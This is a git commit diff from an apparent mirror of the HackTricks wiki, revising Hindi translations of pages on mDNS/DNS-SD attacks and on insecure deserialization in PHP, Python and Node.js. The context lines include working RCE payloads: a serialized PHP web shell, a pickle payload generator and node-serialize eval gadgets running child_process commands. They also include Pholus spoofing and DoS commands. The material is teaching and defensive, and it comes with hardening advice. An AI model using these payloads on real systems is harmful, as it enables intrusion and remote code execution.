mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/5353-udp-multicast-dns-mdns
This commit is contained in:
parent
2e606ce820
commit
12205d8aab
@ -1,10 +1,10 @@
|
||||
# 5353/UDP Multicast DNS (mDNS) और DNS-SD
|
||||
# 5353/UDP मल्टीकास्ट DNS (mDNS) और DNS-SD
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## मूल जानकारी
|
||||
## बुनियादी जानकारी
|
||||
|
||||
Multicast DNS (mDNS) एक स्थानीय लिंक के भीतर DNS-जैसी नाम समाधान और सेवा खोज को सक्षम करता है बिना किसी unicast DNS सर्वर के। यह UDP/5353 और मल्टीकास्ट पते 224.0.0.251 (IPv4) और FF02::FB (IPv6) का उपयोग करता है। DNS सेवा खोज (DNS-SD, जो आमतौर पर mDNS के साथ उपयोग किया जाता है) PTR, SRV और TXT रिकॉर्ड के माध्यम से सेवाओं को सूचीबद्ध और वर्णित करने का एक मानकीकृत तरीका प्रदान करता है।
|
||||
मल्टीकास्ट DNS (mDNS) एक स्थानीय लिंक के भीतर DNS-जैसी नाम समाधान और सेवा खोज को सक्षम करता है बिना किसी यूनिकास्ट DNS सर्वर के। यह UDP/5353 और मल्टीकास्ट पते 224.0.0.251 (IPv4) और FF02::FB (IPv6) का उपयोग करता है। DNS सेवा खोज (DNS-SD, जो आमतौर पर mDNS के साथ उपयोग किया जाता है) PTR, SRV और TXT रिकॉर्ड के माध्यम से सेवाओं को सूचीबद्ध और वर्णित करने का एक मानकीकृत तरीका प्रदान करता है।
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
5353/udp open zeroconf
|
||||
@ -12,8 +12,8 @@ PORT STATE SERVICE
|
||||
Key protocol details you’ll often leverage during attacks:
|
||||
- .local क्षेत्र में नाम mDNS के माध्यम से हल किए जाते हैं।
|
||||
- QU (Query Unicast) बिट मल्टीकास्ट प्रश्नों के लिए भी यूनिकास्ट उत्तरों का अनुरोध कर सकता है।
|
||||
- कार्यान्वयन को स्थानीय लिंक से स्रोतित पैकेट्स की अनदेखी करनी चाहिए; कुछ स्टैक्स अभी भी उन्हें स्वीकार करते हैं।
|
||||
- प्रॉबिंग/घोषणा अद्वितीय होस्ट/सेवा नामों को लागू करती है; यहां हस्तक्षेप करने से DoS/“नाम स्क्वाटिंग” की स्थितियां उत्पन्न होती हैं।
|
||||
- कार्यान्वयन को उन पैकेट्स को नजरअंदाज करना चाहिए जो स्थानीय लिंक से नहीं आते; कुछ स्टैक्स अभी भी उन्हें स्वीकार करते हैं।
|
||||
- प्रॉबिंग/घोषणा अद्वितीय होस्ट/सेवा नामों को लागू करती है; यहां हस्तक्षेप करने से DoS/“नाम कब्जा” स्थितियां उत्पन्न होती हैं।
|
||||
|
||||
## DNS-SD सेवा मॉडल
|
||||
|
||||
@ -57,7 +57,7 @@ Tip: कुछ ब्राउज़र/WebRTC अस्थायी mDNS हो
|
||||
|
||||
## हमले
|
||||
|
||||
### mDNS नाम प्रॉबिंग हस्तक्षेप (DoS / नाम स्क्वाटिंग)
|
||||
### mDNS नाम प्रॉबिंग हस्तक्षेप (DoS / नाम कब्जा)
|
||||
|
||||
प्रॉबिंग चरण के दौरान, एक होस्ट नाम की अद्वितीयता की जांच करता है। धोखाधड़ी वाले संघर्षों के साथ प्रतिक्रिया देने से इसे नए नाम चुनने या विफल होने के लिए मजबूर किया जाता है। इससे सेवा पंजीकरण और खोज में देरी या रोकथाम हो सकती है।
|
||||
|
||||
@ -105,24 +105,24 @@ Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay work
|
||||
|
||||
## Defensive considerations and OPSEC
|
||||
|
||||
- Segment boundaries: Don’t route 224.0.0.251/FF02::FB between security zones unless an mDNS gateway is explicitly required. If you must bridge discovery, prefer allowlists and rate limits.
|
||||
- Segment boundaries: सुरक्षा क्षेत्रों के बीच 224.0.0.251/FF02::FB को रूट न करें जब तक कि एक mDNS गेटवे स्पष्ट रूप से आवश्यक न हो। यदि आपको खोज को ब्रिज करना है, तो allowlists और दर सीमाओं को प्राथमिकता दें।
|
||||
- Windows endpoints/servers:
|
||||
- To hard-disable name resolution via mDNS set the registry value and reboot:
|
||||
- mDNS के माध्यम से नाम समाधान को हार्ड-डिसेबल करने के लिए रजिस्ट्री मान सेट करें और पुनः प्रारंभ करें:
|
||||
```
|
||||
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
|
||||
```
|
||||
- In managed environments, disable the built-in “mDNS (UDP-In)” Windows Defender Firewall rule (at least on the Domain profile) to prevent inbound mDNS processing while preserving home/roaming functionality.
|
||||
- On newer Windows 11 builds/GPO templates, use the policy “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” and set it to Disabled.
|
||||
- प्रबंधित वातावरण में, इनबिल्ट “mDNS (UDP-In)” Windows Defender फ़ायरवॉल नियम को निष्क्रिय करें (कम से कम डोमेन प्रोफ़ाइल पर) ताकि इनबाउंड mDNS प्रोसेसिंग को रोका जा सके जबकि होम/रोमिंग कार्यक्षमता को बनाए रखा जा सके।
|
||||
- नए Windows 11 बिल्ड/GPO टेम्पलेट्स पर, नीति “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” का उपयोग करें और इसे Disabled पर सेट करें।
|
||||
- Linux (Avahi):
|
||||
- Lock down publishing when not needed: set `disable-publishing=yes`, and restrict interfaces with `allow-interfaces=` / `deny-interfaces=` in `/etc/avahi/avahi-daemon.conf`.
|
||||
- Consider `check-response-ttl=yes` and avoid `enable-reflector=yes` unless strictly required; prefer `reflect-filters=` allowlists when reflecting.
|
||||
- macOS: Restrict inbound mDNS at host/network firewalls when Bonjour discovery is not needed for specific subnets.
|
||||
- Monitoring: Alert on unusual surges in `_services._dns-sd._udp.local` queries or sudden changes in SRV/TXT of critical services; these are indicators of spoofing or service impersonation.
|
||||
- जब आवश्यक न हो तो प्रकाशन को लॉक करें: `disable-publishing=yes` सेट करें, और `/etc/avahi/avahi-daemon.conf` में `allow-interfaces=` / `deny-interfaces=` के साथ इंटरफेस को प्रतिबंधित करें।
|
||||
- `check-response-ttl=yes` पर विचार करें और जब तक आवश्यक न हो `enable-reflector=yes` से बचें; प्रतिबिंबित करते समय `reflect-filters=` allowlists को प्राथमिकता दें।
|
||||
- macOS: जब Bonjour खोज विशिष्ट उपनेट के लिए आवश्यक न हो तो होस्ट/नेटवर्क फ़ायरवॉल पर इनबाउंड mDNS को प्रतिबंधित करें।
|
||||
- Monitoring: `_services._dns-sd._udp.local` क्वेरी में असामान्य वृद्धि या महत्वपूर्ण सेवाओं के SRV/TXT में अचानक बदलाव पर अलर्ट करें; ये धोखाधड़ी या सेवा अनुकरण के संकेत हैं।
|
||||
|
||||
## Tooling quick reference
|
||||
|
||||
- nmap NSE: `dns-service-discovery` and `broadcast-dns-service-discovery`.
|
||||
- Pholus: active scan, reverse mDNS sweeps, DoS and spoofing helpers.
|
||||
- nmap NSE: `dns-service-discovery` और `broadcast-dns-service-discovery`.
|
||||
- Pholus: सक्रिय स्कैन, रिवर्स mDNS स्वीप, DoS और धोखाधड़ी सहायक।
|
||||
```bash
|
||||
# Passive sniff (timeout seconds)
|
||||
sudo python3 pholus3.py <iface> -stimeout 60
|
||||
@ -133,12 +133,12 @@ sudo python3 pholus3.py <iface> --request
|
||||
# Reverse mDNS sweep of a subnet
|
||||
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
|
||||
```
|
||||
- bettercap zerogod: discover, save, advertise, and impersonate mDNS/DNS-SD services (see examples above).
|
||||
- bettercap zerogod: mDNS/DNS-SD सेवाओं का पता लगाना, सहेजना, विज्ञापन करना और अनुकरण करना (ऊपर दिए गए उदाहरण देखें)।
|
||||
|
||||
## Spoofing/MitM
|
||||
|
||||
The most interesting attack you can perform over this service is to perform a MitM in the communication between the client and the real server. You might be able to obtain sensitive files (MitM the communication with the printer) or even credentials (Windows authentication).\
|
||||
For more information check:
|
||||
आप इस सेवा पर जो सबसे दिलचस्प हमला कर सकते हैं वह है क्लाइंट और असली सर्वर के बीच संचार में MitM करना। आप संवेदनशील फ़ाइलें (प्रिंटर के साथ संचार को MitM करना) या यहां तक कि क्रेडेंशियल प्राप्त करने में सक्षम हो सकते हैं (Windows प्रमाणीकरण)।\
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
**Serialization** को एक ऑब्जेक्ट को एक ऐसे प्रारूप में परिवर्तित करने की विधि के रूप में समझा जाता है जिसे संरक्षित किया जा सके, जिसका उद्देश्य या तो ऑब्जेक्ट को संग्रहीत करना है या इसे संचार प्रक्रिया के हिस्से के रूप में प्रसारित करना है। इस तकनीक का सामान्यत: उपयोग यह सुनिश्चित करने के लिए किया जाता है कि ऑब्जेक्ट को बाद में फिर से बनाया जा सके, इसकी संरचना और स्थिति को बनाए रखते हुए।
|
||||
|
||||
**Deserialization**, इसके विपरीत, वह प्रक्रिया है जो serialization का प्रतिकार करती है। इसमें उस डेटा को लेना शामिल है जो एक विशिष्ट प्रारूप में संरचित किया गया है और इसे फिर से एक ऑब्जेक्ट में पुनर्निर्माण करना शामिल है।
|
||||
**Deserialization**, इसके विपरीत, वह प्रक्रिया है जो serialization का प्रतिकार करती है। इसमें उस डेटा को लेना शामिल है जिसे एक विशिष्ट प्रारूप में संरचित किया गया है और इसे फिर से एक ऑब्जेक्ट में पुनर्निर्माण करना शामिल है।
|
||||
|
||||
Deserialization खतरनाक हो सकता है क्योंकि यह संभावित रूप से **हमलावरों को अनुक्रमित डेटा में हेरफेर करने की अनुमति देता है ताकि हानिकारक कोड निष्पादित किया जा सके** या ऑब्जेक्ट पुनर्निर्माण प्रक्रिया के दौरान एप्लिकेशन में अप्रत्याशित व्यवहार उत्पन्न कर सके।
|
||||
|
||||
@ -16,8 +16,8 @@ PHP में, serialization और deserialization प्रक्रिया
|
||||
|
||||
- `__sleep`: जब एक ऑब्जेक्ट को अनुक्रमित किया जा रहा होता है, तब इसे बुलाया जाता है। यह विधि उन सभी गुणों के नामों का एक ऐरे लौटाना चाहिए जिन्हें अनुक्रमित किया जाना चाहिए। इसका सामान्यत: उपयोग लंबित डेटा को समर्पित करने या समान सफाई कार्य करने के लिए किया जाता है।
|
||||
- `__wakeup`: जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है, तब इसे बुलाया जाता है। इसका उपयोग उन किसी भी डेटाबेस कनेक्शनों को फिर से स्थापित करने के लिए किया जाता है जो serialization के दौरान खो गए हो सकते हैं और अन्य पुनः आरंभ कार्य करने के लिए।
|
||||
- `__unserialize`: यह विधि `__wakeup` के बजाय (यदि यह मौजूद है) तब बुलाई जाती है जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है। यह `__wakeup` की तुलना में deserialization प्रक्रिया पर अधिक नियंत्रण प्रदान करती है।
|
||||
- `__destruct`: यह विधि तब बुलाई जाती है जब एक ऑब्जेक्ट नष्ट होने वाला होता है या जब स्क्रिप्ट समाप्त होती है। इसका सामान्यत: उपयोग सफाई कार्यों के लिए किया जाता है, जैसे फ़ाइल हैंडल या डेटाबेस कनेक्शनों को बंद करना।
|
||||
- `__unserialize`: यह विधि `__wakeup` के बजाय (यदि यह मौजूद है) तब बुलाई जाती है जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है। यह `__wakeup` की तुलना में deserialization प्रक्रिया पर अधिक नियंत्रण देती है।
|
||||
- `__destruct`: यह विधि तब बुलाई जाती है जब एक ऑब्जेक्ट को नष्ट किया जाने वाला होता है या जब स्क्रिप्ट समाप्त होती है। इसका सामान्यत: उपयोग सफाई कार्यों के लिए किया जाता है, जैसे फ़ाइल हैंडल या डेटाबेस कनेक्शनों को बंद करना।
|
||||
- `__toString`: यह विधि एक ऑब्जेक्ट को एक स्ट्रिंग के रूप में व्यवहार करने की अनुमति देती है। इसका उपयोग फ़ाइल पढ़ने या इसके भीतर फ़ंक्शन कॉल के आधार पर अन्य कार्यों के लिए किया जा सकता है, प्रभावी रूप से ऑब्जेक्ट का एक पाठ्य प्रतिनिधित्व प्रदान करता है।
|
||||
```php
|
||||
<?php
|
||||
@ -74,10 +74,10 @@ This is a test<br />
|
||||
*/
|
||||
?>
|
||||
```
|
||||
यदि आप परिणामों को देखें तो आप देख सकते हैं कि फ़ंक्शन **`__wakeup`** और **`__destruct`** तब कॉल किए जाते हैं जब ऑब्जेक्ट को डीसिरियलाइज़ किया जाता है। ध्यान दें कि कई ट्यूटोरियल में आप पाएंगे कि **`__toString`** फ़ंक्शन तब कॉल किया जाता है जब किसी विशेषता को प्रिंट करने की कोशिश की जाती है, लेकिन स्पष्ट रूप से यह **अब नहीं हो रहा है**।
|
||||
यदि आप परिणामों को देखें तो आप देख सकते हैं कि फ़ंक्शन **`__wakeup`** और **`__destruct`** तब कॉल किए जाते हैं जब ऑब्जेक्ट को डीसिरियलाइज़ किया जाता है। ध्यान दें कि कई ट्यूटोरियल में आप पाएंगे कि **`__toString`** फ़ंक्शन तब कॉल किया जाता है जब किसी एट्रिब्यूट को प्रिंट करने की कोशिश की जाती है, लेकिन स्पष्ट रूप से यह **अब नहीं हो रहा है**।
|
||||
|
||||
> [!WARNING]
|
||||
> यदि इसे क्लास में लागू किया गया है तो **`__unserialize(array $data)`** विधि **`__wakeup()`** के बजाय कॉल की जाती है। यह आपको ऑब्जेक्ट को डीसिरियलाइज़ करने की अनुमति देती है, जिसमें सीरियलाइज्ड डेटा को एक एरे के रूप में प्रदान किया जाता है। आप इस विधि का उपयोग प्रॉपर्टीज़ को डीसिरियलाइज़ करने और डीसिरियलाइज़ेशन के दौरान आवश्यक कार्य करने के लिए कर सकते हैं।
|
||||
> यदि इसे क्लास में लागू किया गया है तो **`__unserialize(array $data)`** मेथड **`__wakeup()`** के बजाय कॉल किया जाता है। यह आपको ऑब्जेक्ट को डीसिरियलाइज़ करने की अनुमति देता है, जिसमें सीरियलाइज़ किया गया डेटा एक एरे के रूप में प्रदान किया जाता है। आप इस मेथड का उपयोग प्रॉपर्टीज को डीसिरियलाइज़ करने और डीसिरियलाइज़ेशन के दौरान आवश्यक कार्य करने के लिए कर सकते हैं।
|
||||
>
|
||||
> ```php
|
||||
> class MyClass {
|
||||
@ -85,12 +85,12 @@ This is a test<br />
|
||||
>
|
||||
> public function __unserialize(array $data): void {
|
||||
> $this->property = $data['property'];
|
||||
> // डीसिरियलाइज़ेशन के दौरान आवश्यक कार्य करें।
|
||||
> // Perform any necessary tasks upon deserialization.
|
||||
> }
|
||||
> }
|
||||
> ```
|
||||
|
||||
आप एक विस्तृत **PHP उदाहरण यहाँ पढ़ सकते हैं**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), यहाँ [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) या यहाँ [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
आप एक समझाया हुआ **PHP उदाहरण यहाँ** पढ़ सकते हैं: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), यहाँ [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) या यहाँ [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
|
||||
### PHP Deserial + Autoload Classes
|
||||
|
||||
@ -102,7 +102,7 @@ php-deserialization-+-autoload-classes.md
|
||||
|
||||
### संदर्भित मानों को सीरियलाइज़ करना
|
||||
|
||||
यदि किसी कारणवश आप किसी मान को **दूसरे सीरियलाइज्ड मान के संदर्भ के रूप में** सीरियलाइज़ करना चाहते हैं, तो आप कर सकते हैं:
|
||||
यदि किसी कारणवश आप किसी मान को **दूसरे सीरियलाइज़ किए गए मान के संदर्भ के रूप में** सीरियलाइज़ करना चाहते हैं, तो आप कर सकते हैं:
|
||||
```php
|
||||
<?php
|
||||
class AClass {
|
||||
@ -118,9 +118,9 @@ $ser=serialize($o);
|
||||
### PHP ऑब्जेक्ट इंजेक्शन को `allowed_classes` के साथ रोकना
|
||||
|
||||
> [!INFO]
|
||||
> `unserialize()` के **दूसरे तर्क** ( `$options` ऐरे) के लिए समर्थन **PHP 7.0** में जोड़ा गया था। पुराने संस्करणों में यह फ़ंक्शन केवल अनुक्रमित स्ट्रिंग को स्वीकार करता है, जिससे यह असंभव हो जाता है कि कौन सी कक्षाएँ स्थापित की जा सकती हैं।
|
||||
> `unserialize()` के **दूसरे तर्क** ( `$options` ऐरे) के लिए समर्थन **PHP 7.0** में जोड़ा गया था। पुराने संस्करणों में यह फ़ंक्शन केवल अनुक्रमित स्ट्रिंग को स्वीकार करता है, जिससे यह संभव नहीं है कि कौन सी कक्षाएँ स्थापित की जा सकती हैं।
|
||||
|
||||
`unserialize()` **हर कक्षा** को स्थापित करेगा जो इसे अनुक्रमित स्ट्रीम के अंदर मिलेगी जब तक कि अन्यथा न कहा जाए। PHP 7 से व्यवहार को [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) विकल्प के साथ प्रतिबंधित किया जा सकता है:
|
||||
`unserialize()` **हर कक्षा** को स्थापित करेगा जो इसे अनुक्रमित स्ट्रीम के अंदर मिलती है जब तक कि अन्यथा न कहा जाए। PHP 7 से, व्यवहार को [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) विकल्प के साथ प्रतिबंधित किया जा सकता है:
|
||||
```php
|
||||
// NEVER DO THIS – full object instantiation
|
||||
$object = unserialize($userControlledData);
|
||||
@ -135,7 +135,7 @@ $object = unserialize($userControlledData, [
|
||||
'allowed_classes' => [MyModel::class, DateTime::class]
|
||||
]);
|
||||
```
|
||||
यदि **`allowed_classes` को छोड़ दिया गया है _या_ कोड PHP < 7.0 पर चल रहा है**, तो कॉल **खतरनाक** हो जाती है क्योंकि एक हमलावर एक पेलोड तैयार कर सकता है जो जादुई विधियों जैसे `__wakeup()` या `__destruct()` का दुरुपयोग करता है ताकि रिमोट कोड निष्पादन (RCE) प्राप्त किया जा सके।
|
||||
यदि **`allowed_classes` को छोड़ दिया गया है _या_ कोड PHP < 7.0 पर चल रहा है**, तो कॉल **खतरनाक** हो जाता है क्योंकि एक हमलावर एक पेलोड तैयार कर सकता है जो जादुई विधियों जैसे `__wakeup()` या `__destruct()` का दुरुपयोग करता है ताकि रिमोट कोड निष्पादन (RCE) प्राप्त किया जा सके।
|
||||
|
||||
#### वास्तविक दुनिया का उदाहरण: Everest Forms (WordPress) CVE-2025-52709
|
||||
|
||||
@ -170,8 +170,8 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
|
||||
### PHPGGC (PHP के लिए ysoserial)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) आपको PHP deserialization का दुरुपयोग करने के लिए पेलोड उत्पन्न करने में मदद कर सकता है।\
|
||||
ध्यान दें कि कई मामलों में आप **ऐप्लिकेशन के स्रोत कोड में deserialization का दुरुपयोग करने का कोई तरीका नहीं पाएंगे**, लेकिन आप **बाहरी PHP एक्सटेंशनों के कोड का दुरुपयोग कर सकते हैं।**\
|
||||
तो, यदि आप कर सकते हैं, तो सर्वर का `phpinfo()` जांचें और **इंटरनेट पर खोजें** (यहां तक कि **PHPGGC** के **gadgets** पर) कुछ संभावित गैजेट जो आप दुरुपयोग कर सकते हैं।
|
||||
ध्यान दें कि कई मामलों में आप **ऐप्लिकेशन के स्रोत कोड में deserialization का दुरुपयोग करने का कोई तरीका नहीं पाएंगे**, लेकिन आप **बाहरी PHP एक्सटेंशन के कोड का दुरुपयोग करने में सक्षम हो सकते हैं।**\
|
||||
इसलिए, यदि आप कर सकते हैं, तो सर्वर का `phpinfo()` जांचें और **इंटरनेट पर खोजें** (यहां तक कि **PHPGGC** के **gadgets** पर) कुछ संभावित गैजेट जो आप दुरुपयोग कर सकते हैं।
|
||||
|
||||
### phar:// मेटाडेटा deserialization
|
||||
|
||||
@ -197,7 +197,7 @@ print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
बायपास तकनीक की जांच करने से पहले, यदि आप python3 चला रहे हैं तो `print(base64.b64encode(pickle.dumps(P(),2)))` का उपयोग करके एक ऐसा ऑब्जेक्ट उत्पन्न करने का प्रयास करें जो python2 के साथ संगत हो।
|
||||
|
||||
**pickle jails** से बचने के बारे में अधिक जानकारी के लिए देखें:
|
||||
**पिकल जेलों** से बचने के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -205,13 +205,13 @@ print(base64.b64encode(pickle.dumps(P())))
|
||||
|
||||
### Yaml **&** jsonpickle
|
||||
|
||||
निम्नलिखित पृष्ठ **yaml** python पुस्तकालयों में **असुरक्षित deserialization का दुरुपयोग करने** की तकनीक प्रस्तुत करता है और **Pickle, PyYAML, jsonpickle और ruamel.yaml** के लिए RCE deserialization payload उत्पन्न करने के लिए एक उपकरण के साथ समाप्त होता है:
|
||||
निम्नलिखित पृष्ठ **yaml** python पुस्तकालयों में **असुरक्षित डेसिरियलाइजेशन का दुरुपयोग करने** की तकनीक प्रस्तुत करता है और **Pickle, PyYAML, jsonpickle और ruamel.yaml** के लिए RCE डेसिरियलाइजेशन पेलोड उत्पन्न करने के लिए एक उपकरण के साथ समाप्त होता है:
|
||||
|
||||
{{#ref}}
|
||||
python-yaml-deserialization.md
|
||||
{{#endref}}
|
||||
|
||||
### Class Pollution (Python Prototype Pollution)
|
||||
### क्लास प्रदूषण (Python प्रोटोटाइप प्रदूषण)
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
|
||||
@ -219,12 +219,12 @@ python-yaml-deserialization.md
|
||||
|
||||
## NodeJS
|
||||
|
||||
### JS Magic Functions
|
||||
### JS जादुई फ़ंक्शन
|
||||
|
||||
JS **"जादुई" कार्य** नहीं रखता जैसे PHP या Python जो केवल एक ऑब्जेक्ट बनाने के लिए निष्पादित होंगे। लेकिन इसमें कुछ **कार्य** हैं जो **प्रत्यक्ष रूप से कॉल किए बिना भी अक्सर उपयोग किए जाते हैं** जैसे **`toString`**, **`valueOf`**, **`toJSON`**।\
|
||||
यदि आप deserialization का दुरुपयोग करते हैं तो आप **इन कार्यों को अन्य कोड निष्पादित करने के लिए समझौता कर सकते हैं** (संभवतः प्रोटोटाइप प्रदूषण का दुरुपयोग करते हुए) जब इन्हें कॉल किया जाता है तो आप मनमाना कोड निष्पादित कर सकते हैं।
|
||||
JS में **"जादुई" फ़ंक्शन** नहीं होते हैं जैसे PHP या Python जो केवल एक ऑब्जेक्ट बनाने के लिए निष्पादित होते हैं। लेकिन इसमें कुछ **फ़ंक्शन** हैं जो **प्रत्यक्ष रूप से कॉल किए बिना भी अक्सर उपयोग किए जाते हैं** जैसे **`toString`**, **`valueOf`**, **`toJSON`**।\
|
||||
यदि आप डेसिरियलाइजेशन का दुरुपयोग करते हैं तो आप **इन फ़ंक्शनों को अन्य कोड निष्पादित करने के लिए समझौता कर सकते हैं** (संभवतः प्रोटोटाइप प्रदूषण का दुरुपयोग करते हुए) जब इन्हें कॉल किया जाता है तो आप मनमाना कोड निष्पादित कर सकते हैं।
|
||||
|
||||
एक और **"जादुई" तरीका एक कार्य को कॉल करने का** बिना इसे सीधे कॉल किए **एक ऑब्जेक्ट को समझौता करना है जो एक async कार्य** (प्रॉमिस) द्वारा लौटाया जाता है। क्योंकि, यदि आप उस **रिटर्न ऑब्जेक्ट** को एक अन्य **प्रॉमिस** में **"then" नामक कार्य प्रकार की प्रॉपर्टी** के साथ **परिवर्तित** करते हैं, तो यह केवल इसलिए **निष्पादित** होगा क्योंकि यह एक अन्य प्रॉमिस द्वारा लौटाया गया है। _अधिक जानकारी के लिए_ [_**इस लिंक**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _का पालन करें._
|
||||
एक और **"जादुई" तरीका एक फ़ंक्शन को कॉल करने का** बिना इसे सीधे कॉल किए **एक ऑब्जेक्ट को समझौता करना है जो एक async फ़ंक्शन** (प्रॉमिस) द्वारा लौटाया जाता है। क्योंकि, यदि आप उस **रिटर्न ऑब्जेक्ट** को एक अन्य **प्रॉमिस** में **"then" नामक फ़ंक्शन प्रकार की प्रॉपर्टी** के साथ **परिवर्तित** करते हैं, तो यह **निष्पादित** होगा बस इसलिए कि इसे एक अन्य प्रॉमिस द्वारा लौटाया गया है। _अधिक जानकारी के लिए_ [_**इस लिंक**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _का पालन करें._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
@ -275,7 +275,7 @@ console.log("Serialized: \n" + payload_serialized)
|
||||
```bash
|
||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||
```
|
||||
आप उदाहरण में देख सकते हैं कि जब एक फ़ंक्शन को सीरियलाइज़ किया जाता है तो `_$$ND_FUNC$$_` फ़्लैग सीरियलाइज़ किए गए ऑब्जेक्ट में जोड़ा जाता है।
|
||||
आप उदाहरण में देख सकते हैं कि जब एक फ़ंक्शन को सीरियलाइज़ किया जाता है तो `_$$ND_FUNC$$_` फ़्लैग सीरियलाइज़्ड ऑब्जेक्ट में जोड़ा जाता है।
|
||||
|
||||
फाइल `node-serialize/lib/serialize.js` के अंदर आप वही फ़्लैग और कोड का उपयोग कैसे किया जा रहा है, पा सकते हैं।
|
||||
|
||||
@ -285,8 +285,8 @@ console.log("Serialized: \n" + payload_serialized)
|
||||
|
||||
जैसा कि आप अंतिम कोड के टुकड़े में देख सकते हैं, **यदि फ़्लैग पाया जाता है** तो `eval` का उपयोग फ़ंक्शन को डीसिरियलाइज़ करने के लिए किया जाता है, इसलिए मूल रूप से **उपयोगकर्ता इनपुट `eval` फ़ंक्शन के अंदर उपयोग किया जा रहा है**।
|
||||
|
||||
हालांकि, **सिर्फ फ़ंक्शन को सीरियलाइज़ करना** **इसे निष्पादित नहीं करेगा** क्योंकि आवश्यक होगा कि कोड का कुछ भाग **`y.rce` को कॉल कर रहा हो** हमारे उदाहरण में और यह अत्यधिक **असंभव** है।\
|
||||
वैसे भी, आप बस **सीरियलाइज़ किए गए ऑब्जेक्ट को संशोधित कर सकते हैं** **कुछ कोष्ठकों को जोड़कर** ताकि जब ऑब्जेक्ट को डीसिरियलाइज़ किया जाए तो सीरियलाइज़ किया गया फ़ंक्शन स्वचालित रूप से निष्पादित हो जाए।\
|
||||
हालांकि, **सिर्फ फ़ंक्शन को सीरियलाइज़ करना** **इसे निष्पादित नहीं करेगा** क्योंकि यह आवश्यक होगा कि कोड का कुछ भाग **`y.rce` को कॉल कर रहा हो** हमारे उदाहरण में और यह अत्यधिक **असंभव** है।\
|
||||
वैसे, आप बस **सीरियलाइज़्ड ऑब्जेक्ट को संशोधित कर सकते हैं** **कुछ कोष्ठकों को जोड़कर** ताकि जब ऑब्जेक्ट को डीसिरियलाइज़ किया जाए तो सीरियलाइज़्ड फ़ंक्शन स्वचालित रूप से निष्पादित हो जाए।\
|
||||
अगले कोड के टुकड़े में **अंतिम कोष्ठक पर ध्यान दें** और कैसे `unserialize` फ़ंक्शन स्वचालित रूप से कोड को निष्पादित करेगा:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
@ -295,7 +295,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
||||
}
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
जैसा कि पहले संकेत दिया गया था, यह पुस्तकालय `_$$ND_FUNC$$_` के बाद कोड प्राप्त करेगा और इसे `eval` का उपयोग करके **निष्पादित करेगा**। इसलिए, **कोड को स्वचालित रूप से निष्पादित** करने के लिए आप **कार्य निर्माण** भाग और अंतिम कोष्ठक को **हटा सकते हैं** और **बस एक JS एकल पंक्ति निष्पादित कर सकते हैं** जैसे कि निम्नलिखित उदाहरण में:
|
||||
जैसा कि पहले बताया गया था, यह लाइब्रेरी `_$$ND_FUNC$$_` के बाद कोड प्राप्त करेगी और इसे `eval` का उपयोग करके **निष्पादित** करेगी। इसलिए, **कोड को स्वचालित रूप से निष्पादित** करने के लिए आप **फंक्शन निर्माण** भाग और अंतिम कोष्ठक को **हटा सकते हैं** और **बस एक JS एकल पंक्ति** निष्पादित कर सकते हैं जैसे कि निम्नलिखित उदाहरण में:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test =
|
||||
@ -306,9 +306,9 @@ serialize.unserialize(test)
|
||||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
